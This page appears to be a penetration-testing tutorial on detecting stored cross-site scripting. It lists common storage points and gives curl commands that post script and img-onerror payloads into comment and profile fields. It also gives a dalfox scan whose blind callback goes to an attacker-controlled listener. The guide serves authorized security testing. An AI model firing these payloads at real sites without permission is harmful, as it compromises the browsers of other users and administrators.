Skip to content
HackIndex logo

HackIndex

Stored XSS Checks

3 min read Mar 28, 2026

Stored XSS embeds a malicious script in the application's data store and executes it in the browser of every user who views the affected page. Unlike reflected XSS, it does not require a victim to click a crafted link — it fires automatically. Testing follows the same reflection-first approach as reflected XSS, but storage and retrieval must both be confirmed. Confirmed stored XSS moves to stored XSS exploitation.

Identify Storage Points

Any input that is saved and later displayed to other users is a stored XSS candidate. Common surfaces:

  • Comment and forum fields

  • Profile fields: name, bio, location, website

  • Support ticket and message systems

  • File upload names and metadata

  • Admin-visible fields in registration forms

Inject a Unique Marker

Use a unique string first to confirm the value is stored and later retrieved, before testing for HTML execution:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' -d 'comment=STORED_XSS_MARKER_12345&post_id=1'
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/posts/1 | grep 'STORED_XSS_MARKER_12345'
<p>STORED_XSS_MARKER_12345</p>

The marker appearing in the retrieved page confirms persistence. Now check the surrounding HTML context to determine the correct payload format.

Test HTML Injection and Script Execution

Replace the marker with an HTML payload and verify it survives encoding:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' -d 'comment=<script>alert(document.domain)</script>&post_id=1'
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/posts/1 | grep -i 'script'
<p><script>alert(document.domain)</script></p>

The unencoded script tag in the retrieved response confirms stored XSS. Open the page in a browser to verify execution before escalating. If the response shows the encoded form <script> the input is being sanitized at storage or retrieval.

Profile Field Testing

Profile fields rendered for other users — name, website, bio — are often stored XSS vectors that affect admins viewing user lists:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X PUT http://$TARGET_IP:$PORT/api/v1/profile -H 'Content-Type: application/json' -H 'Cookie: session=YOUR_SESSION' -d '{"name":"<img src=x onerror=alert(document.domain)>","bio":"test"}'
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/v1/profile -H 'Cookie: session=YOUR_SESSION' | grep -i 'img\|onerror'

Automated Scanning with dalfox

dalfox can scan stored XSS points when you point it at the input endpoint and provide the retrieval URL for verification:

┌──(kali㉿kali)-[~]
└─$ dalfox url "http://$TARGET_IP:$PORT/posts/1" --cookie "session=YOUR_SESSION" --blind http://$LHOST:$LPORT/

References